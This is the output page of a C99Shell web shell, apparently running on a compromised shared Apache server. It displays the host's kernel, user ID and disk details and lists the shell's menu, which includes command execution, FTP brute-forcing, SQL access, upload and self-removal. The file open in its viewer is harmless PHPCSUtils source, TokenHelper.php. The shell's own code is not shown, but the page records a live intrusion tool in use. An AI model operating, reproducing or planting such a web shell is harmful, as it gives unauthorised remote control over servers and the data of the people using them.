!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/phpcsstandards/phpcsutils/PHPCSUtils/Tokens/   drwxr-xr-x
Free 714.72 GB of 879.6 GB (81.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TokenHelper.php (2.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PHPCSUtils, utility functions and classes for PHP_CodeSniffer sniff developers.
 *
 * @package   PHPCSUtils
 * @copyright 2019-2020 PHPCSUtils Contributors
 * @license   https://opensource.org/licenses/LGPL-3.0 LGPL3
 * @link      https://github.com/PHPCSStandards/PHPCSUtils
 */

namespace PHPCSUtils\Tokens;

/**
 * Helpers for working with tokens.
 *
 * @since 1.0.0
 */
final class TokenHelper
{

    /**
     * Check whether a PHP native token exists (for real).
     *
     * Under normal circumstances, checking whether a token exists (either defined by PHP or by PHPCS)
     * is as straight-forward as running `defined('T_TOKEN_NAME')`.
     *
     * Unfortunately, this doesn't work in all circumstances, most notably, if an external standard
     * also uses PHP-Parser or when code coverage is run on a standard using PHPUnit >= 9.3 (which uses PHP-Parser),
     * this logic breaks because PHP-Parser also polyfills tokens.
     * This method takes potentially polyfilled tokens from PHP-Parser into account and will regard the token
     * as undefined if it was declared by PHP-Parser.
     *
     * Note: this method only _needs_ to be used for PHP native tokens, not for PHPCS specific tokens.
     * Also, realistically, it only needs to be used for tokens introduced in PHP in recent versions (PHP 7.4 and up).
     * Having said that, the method _will_ also work correctly when a name of a PHPCS native token is passed or
     * of an older PHP native token.
     *
     * {@internal PHP native tokens have a positive integer value. PHPCS polyfilled tokens are strings.
     * PHP-Parser polyfilled tokens will always have a negative integer value < 0, which is how
     * these are filtered out.}
     *
     * @link https://github.com/sebastianbergmann/php-code-coverage/issues/798       PHP-Code-Coverage#798
     * @link https://github.com/nikic/PHP-Parser/blob/master/lib/PhpParser/Lexer.php PHP-Parser Lexer code
     *
     * @since 1.0.0
     *
     * @param string $name The token name.
     *
     * @return bool
     */
    public static function tokenExists($name)
    {
        return (\defined($name) && (\is_int(\constant($name)) === false || \constant($name) > 0));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0111 ]--